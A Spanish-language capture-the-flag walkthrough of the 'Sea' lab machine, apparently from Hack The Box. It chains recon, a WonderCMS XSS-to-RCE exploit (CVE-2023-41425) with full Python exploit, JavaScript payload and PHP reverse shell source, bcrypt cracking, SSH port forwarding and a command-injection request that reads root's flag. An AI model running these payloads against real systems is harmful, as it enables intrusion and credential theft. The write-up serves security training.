Sea

nmap

```
1nmap -sC -sV sea.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 13:40 CEST
Nmap scan report for sea.htb (10.10.11.28)
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
|   256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_  256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.83 seconds

#Realizaremos un dirsearch para buscar ficheros interesantes.
dirsearch -u http://sea.htb
```

```
# Dirsearch started Mon Sep  2 14:45:01 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://sea.htb
403   199B   http://sea.htb/%3f/
403   199B   http://sea.htb/.ht_wsr.txt
403   199B   http://sea.htb/.htaccess.bak1
403   199B   http://sea.htb/.htaccessOLD
403   199B   http://sea.htb/.htaccess.save
403   199B   http://sea.htb/.htaccessBAK
403   199B   http://sea.htb/.htaccess.orig
403   199B   http://sea.htb/.htaccess_extra
403   199B   http://sea.htb/.htaccess_sc
403   199B   http://sea.htb/.htaccess_orig
403   199B   http://sea.htb/.htaccess.sample
403   199B   http://sea.htb/.htaccessOLD2
403   199B   http://sea.htb/.htm
403   199B   http://sea.htb/.html
403   199B   http://sea.htb/.htpasswd_test
403   199B   http://sea.htb/.htpasswds
403   199B   http://sea.htb/.httr-oauth
403   199B   http://sea.htb/.php
200     1KB  http://sea.htb/404
403   199B   http://sea.htb/admin%20/
200   939B   http://sea.htb/contact.php
301   228B   http://sea.htb/data    -> REDIRECTS TO: http://sea.htb/data/
403   199B   http://sea.htb/data/
403   199B   http://sea.htb/data/files/
403   199B   http://sea.htb/login.wdm%20
301   232B   http://sea.htb/messages    -> REDIRECTS TO: http://sea.htb/messages/
403   199B   http://sea.htb/New%20folder%20(2)
403   199B   http://sea.htb/New%20Folder
403   199B   http://sea.htb/phpliteadmin%202.php
301   231B   http://sea.htb/plugins    -> REDIRECTS TO: http://sea.htb/plugins/
403   199B   http://sea.htb/plugins/
403   199B   http://sea.htb/Read%20Me.txt
403   199B   http://sea.htb/server-status
403   199B   http://sea.htb/server-status/
403   199B   http://sea.htb/themes/
301   230B   http://sea.htb/themes    -> REDIRECTS TO: http://sea.htb/themes/

#Vemos una carpeta interante “themes”.
#Vemos el contenido de /themes y vemos algunos ficheros con permiso 404 (restringido el acceso).
# Dirsearch started Mon Sep  2 14:50:22 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://sea.htb/themes/bike
200     1KB  http://sea.htb/themes/bike/404
200     1KB  http://sea.htb/themes/bike/admin/home
301   239B   http://sea.htb/themes/bike/css    -> REDIRECTS TO: http://sea.htb/themes/bike/css/
200     1KB  http://sea.htb/themes/bike/home
301   239B   http://sea.htb/themes/bike/img    -> REDIRECTS TO: http://sea.htb/themes/bike/img/
200     1KB  http://sea.htb/themes/bike/LICENSE
200   318B   http://sea.htb/themes/bike/README.md
200     1KB  http://sea.htb/themes/bike/sitecore/content/home
200     1KB  http://sea.htb/themes/bike/sym/root/home/
200     6B   http://sea.htb/themes/bike/version
404   196B   http://sea.htb/themes/bike/version/
```

CVE-2023-412425

#Vemos un exploit CVE-2023-41425 en google para oberner el RCE directamente desde el XXS.
https://github.com/insomnia-jacob/CVE-2023-41425

#Tendremos que hacer un curl para obtener el shell.
curl 'http://sea.htb/themes/revshell-main/rev.php?lhost=10.10.14.174&lport=5555'

#Nota: Con el script de https://github.com/insomnia-jacob no tendremos que hacer un curl, se activará solo el rev_shell cuando la web reciba el link.

python3 exploit.py -u http://sea.htb/loginURL -i 10.10.14.174 -p 5555 -r http://10.10.14.174:8000/main.zip

```
================================================================
        # Autor      : Insomnia (Jacob S.)
        # IG         : insomnia.py
        # X          : @insomniadev_
        # Github     : https://github.com/insomnia-jacob
================================================================

[+]The zip file will be downloaded from the host:    http://10.10.14.174:8000/main.zip

[+] File created:  xss.js

[+] Set up nc to listen on your terminal for the reverse shell
        Use:
                   nc -nvlp 5555

[+] Send the below link to admin:

         http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.174:8000/xss.js"></script><form+action="

Starting HTTP server with Python3, waiting for the XSS request
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.28 - - [05/Sep/2024 19:50:25] "GET /xss.js HTTP/1.1" 200 -
10.10.11.28 - - [05/Sep/2024 19:50:41] "GET /main.zip HTTP/1.1" 200 -
```

#Analizamos el script en python.
exploit.py

```
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

# Name        : CVE-2023-41425
# Autor       : Insomnia (Jacob S.)
# IG          : insomnia.py
# X           : @insomniadev_
# Yt          : insomnia-dev
# Github      : https://github.com/insomnia-jacob
# Description: WonderCMS versions v3.2.0 to v3.4.2 with XSS vulnerability allow a malicious actor to achieve RCE by uploading a
component to the installModule.


import argparse
import os.path


# Colors
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
yellow = '\033[93m'
reset = '\033[0m'


def arguments():
    global args
    parser = argparse.ArgumentParser()
    parser.add_argument( '-u', '--url', required=True, help='Enter the URL where the WonderCMS loginURL is located. e.g.: http://
example.com/loginURL' )
    parser.add_argument( '-i', '--ip', required=True, help='Attacker IP address. e.g.: -i 127.0.0.1' )
    parser.add_argument( '-p', '--port', required=True, help='Listening port. e.g.: -p 4444' )
    parser.add_argument( '-r', '--remote-host', default='https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip',
help='Specify the remote host where the main.zip file containing the compressed reverse shell is hosted: e.g.: http://192.168.0.23:8000/
main.zip' )

    args = parser.parse_args()


def createData( url, ip, port, remote_host ):
    data = f'''
```

```
var url = "{ url }";
if (url.endsWith("/")) {{
    url = url.slice(0, -1);
}}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlObj = new URL(urlWithoutLog);
var urlWithoutLogBase = urlObj.origin + '/';
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase + "/?installModule={ remote_host }&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {{
    if (xhr3.status == 200) {{
        var xhr4 = new XMLHttpRequest();
        xhr4.withCredentials = true;
        xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
        xhr4.send();
        xhr4.onload = function() {{
            if (xhr4.status == 200) {{
                var ip = "{ ip }";
                var port = "{ port }";
                var xhr5 = new XMLHttpRequest();
                xhr5.withCredentials = true;
                xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
                xhr5.send();
            }}
        }};
    }}
}};
'''
    return data


def createFileXSS( data ):
    try:
        with open( "xss.js", "w" ) as f:
            f.write( data )
    except:
        print('\n[!] An error occurred while trying to write the file!')

def printInfo():
    me()
    print(yellow, "\n[+]The zip file will be downloaded from the host: ", reset, f" { args.remote_host }")
    print(yellow, "\n[+] File created:", reset,"xss.js")
    print(yellow, "\n[+] Set up nc to listen on your terminal for the reverse shell")
    print("\tUse:\n\t\t", reset, red, f"nc -nvlp { args.port }", reset)
    link = str(args.url).replace("loginURL","index.php?page=loginURL?")+"\"></form><script+src=\"http://"+str(args.ip)+":8000/
xss.js\"></script><form+action=\""
    link = link.strip(" ")
    print(yellow, "\n[+] Send the below link to admin:\n\n\t", green + link, reset)

    print("\nStarting HTTP server with Python3, waiting for the XSS request")
    os.system("sudo python3 -m http.server\n")

def me():
    print(blue, '''
================================================================
        # Autor       : Insomnia (Jacob S.)
        # IG          : insomnia.py
        # X           : @insomniadev_
        # Github      : https://github.com/insomnia-jacob
================================================================          ''', reset)

def main():
    arguments()
    createFileXSS( createData( args.url, args.ip, args.port, args.remote_host ) )
    printInfo()


if __name__ == '__main__':
    main
```

#Genera un fichero en javascript, este lo subiremos mediante xxs en el parametro url.
xss.js

```
var url = "http://sea.htb/loginURL";
if (url.endsWith("/")) {
    url = url.slice(0, -1);
}
var urlWithoutLog = url.split("/").slice(0, -1).join("/");
var urlObj = new URL(urlWithoutLog);
var urlWithoutLogBase = urlObj.origin + '/';
var token = document.querySelectorAll('[name="token"]')[0].value;
var urlRev = urlWithoutLogBase + "/?installModule=http://10.10.14.174:8000/main.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
    if (xhr3.status == 200) {
        var xhr4 = new XMLHttpRequest();
        xhr4.withCredentials = true;
        xhr4.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php");
        xhr4.send();
        xhr4.onload = function() {
            if (xhr4.status == 200) {
                var ip = "10.10.14.174";
                var port = "5555";
                var xhr5 = new XMLHttpRequest();
                xhr5.withCredentials = true;
                xhr5.open("GET", urlWithoutLogBase + "/themes/revshell-main/rev.php?lhost=" + ip + "&lport=" + port);
                xhr5.send();
            }
        };
    }
};
```

```
#Tendremos nuestro shell.
nc -nvlp 5555
listening on [any] 5555 ...
connect to [10.10.14.174] from (UNKNOWN) [10.10.11.28] 37212
Linux sea 5.4.0-190-generic #210-Ubuntu SMP Fri Jul 5 17:03:38 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 18:35:47 up 20 min,  0 users,  load average: 2.55, 2.53, 1.75
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

rev.php

```
cat rev.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";   // CHANGE THIS
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;

if (isset($_GET['lhost']) && filter_var($_GET['lhost'], FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)){
        $ip = $_GET['lhost'];
}

if (isset($_GET['lport']) && (int)$_GET['lport'] > 0 && (int)$_GET['lport'] < 65536){
        $port = (int)$_GET['lport'];
}

$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();
```

```
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}

	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
```

```
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>
```

sea

```
$ cd /home
$ dir
amay  geo
$ cd /var
$ cd /www
/bin/sh: 7: cd: can't cd to /www
$ dir
backups  crash  local  log   opt  snap   tmp
cache    lib    lock   mail  run  spool  www
$ cd www
$ dir
html  sea
$ cd sea
$ dir
contact.php  data  index.php  messages  plugins  themes
$ cd data
$ dir
cache.json  database.js  files
$ cat database.js
{
    "config": {
        "siteTitle": "Sea",
        "theme": "bike",
        "defaultPage": "home",
        "login": "loginURL",
        "forceLogout": false,
        "forceHttps": false,
        "saveChangesPopup": false,
        "password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
        "lastLogins": {
            "2024\/09\/05 18:35:38": "127.0.0.1",
            "2024\/09\/05 18:29:07": "127.0.0.1",
            "2024\/09\/05 18:27:30": "127.0.0.1",
            "2024\/09\/05 18:23:54": "127.0.0.1",
            "2024\/09\/05 18:20:17": "127.0.0.1"
        },
        "lastModulesSync": "2024\/09\/05",
        "customModules": {
            "themes": {},
            "plugins": {}
        },
        "menuItems": {
            "0": {
                "name": "Home",
                "slug": "home",
                "visibility": "show",
                "subpages": {}
            },
            "1": {
                "name": "How to participate",
                "slug": "how-to-participate",
                "visibility": "show",
                "subpages": {}
            }
        },
        "logoutToLoginScreen": {}
    },
    "pages": {
        "404": {
            "title": "404",
            "keywords": "404",
            "description": "404",
            "content": "<center><h1>404 - Page not found<\/h1><\/center>",
            "subpages": {}
        },
        "home": {
            "title": "Home",
            "keywords": "Enter, page, keywords, for, search, engines",
            "description": "A page description is also good for search engines.",
            "content": "<h1>Welcome to Sea<\/h1>\n\n<p>Hello! Join us for an exciting night biking adventure! We are a new company that organizes bike competitions during the night and we offer prizes for the first three places! The most important thing is to have fun, join us now!<\/p>",
            "subpages": {}
        },
        "how-to-participate": {
            "title": "How to",
            "keywords": "Enter, keywords, for, this page",
            "description": "A page description is also good for search engines.",
            "content": "<h1>How can I participate?<\/h1>\n<p>To participate, you only need to send your data as a participant through <a href=\"http:\/\/sea.htb\/contact.php\">contact<\/a>. Simply enter your name, email, age and country. In addition, you can optionally add your website related to your passion for night racing.<\/p>",
            "subpages": {}
        }
    },
    "blocks": {
        "subside": {
            "content": "<h2>About<\/h2>\n\n<br>\n<p>We are a company dedicated to organizing races on an international level. Our main focus is to ensure that our competitors enjoy an exciting night out on the bike while participating in our events.<\/p>"
        },
        "footer": {
            "content": "©2024 Sea"
        }
    }
}$
```

#En el directorio /var encontramos el fichero database.js donde hay credenciales hasheadas.

```
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q
```

#Lo añadiremos en un fichero hash.txt

```
echo “$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q” > hash.txt
```

#En la web Hash Type Identifier - Identify unknown hashes, nos indica que se trata de un hash blowfish.

```
 Possible algorithms: bcrypt $2*$, Blowfish (Unix)
```

#Tendremos que modificar el hash quitandole el caracter "\".

```
hashid '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q'
Analyzing '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
```

#Desencryptamos el hash con john.

```
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
mychemicalromance (?)
1g 0:00:00:11 DONE (2024-09-06 17:19) 0.08688g/s 272.1p/s 272.1c/s 272.1C/s iamcool..tottenham
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

#Con el usuario sea, no obtenemos acceso ssh. (probaremos con amay)

password → mychemicalromance

amay

```
#Privilege escalation sea → amay
ssh amay@10.10.11.28
amay@10.10.11.28's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-190-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri 06 Sep 2024 03:28:33 PM UTC

  System load:  0.02              Processes:             247
  Usage of /:   63.4% of 6.51GB   Users logged in:       0
  Memory usage: 11%               IPv4 address for eth0: 10.10.11.28
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Aug  5 07:16:49 2024 from 10.10.14.40
amay@sea:~$

#Vemos algunos de los puertos abiertos:
amay@sea:~$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:43075         0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN

#Vamos a realizar un port forwarding con ssh al puerto 8080.
#Mediante ssh podremos hacerlo.
ssh -L 8080:localhost:8080 amay@sea.htb

#Nos conectaremos con el navegador al puerto 8080.
#Nos pide iniciar sesión y probamos con ls mismas credenciales.
#Nos encontramos con esta web:
System Monitor(Developing)
Disk Usage
/dev/mapper/ubuntu--vg-ubuntu--lv 6.6G 4.2G 2.1G 68% /

Used:

Total: 68%
System Management
Analyze Log File

#Si analizamos el fichero access.log veremos este mensaje:

Suspicious traffic patterns detected in /var/log/auth.log:

#Lo que nos dice que podemos realizar una petición al fichero /root/root.txt.
#Abrimos burpsuite y realizamos la peticición modificada.
```

```
POST / HTTP/1.1
Host: localhost:8080
Content-Length: 41
Cache-Control: max-age=0
Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-mobile: ?0
```

```
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

log_file=/root/root.txt;dirbuster&analyze_log=
```

#Tendremos que añadir un comando más para que el sistema lo detecte como veridico.
Añadiremos el comando dirbuster. Luego vemos el contenido con la flag.
#Vemos en accesss.log que comandos se han analizado por útima vez:
10.10.14.9 - - [06/Sep/2024:15:03:24 +0000] "HEAD /themes/bike/css/desktops/ HTTP/1.1" 404 245 "-" "DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)" 10.10.14.9 - - [06/Sep/2024:15:03:24 +0000] "HEAD /data/files/404/business.php HTTP/1.1" 404 245 "-" "DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)" 10.10.14.9 - -

#Ya tendremos la flag.
355e986f9019596b325f919f0a3efd90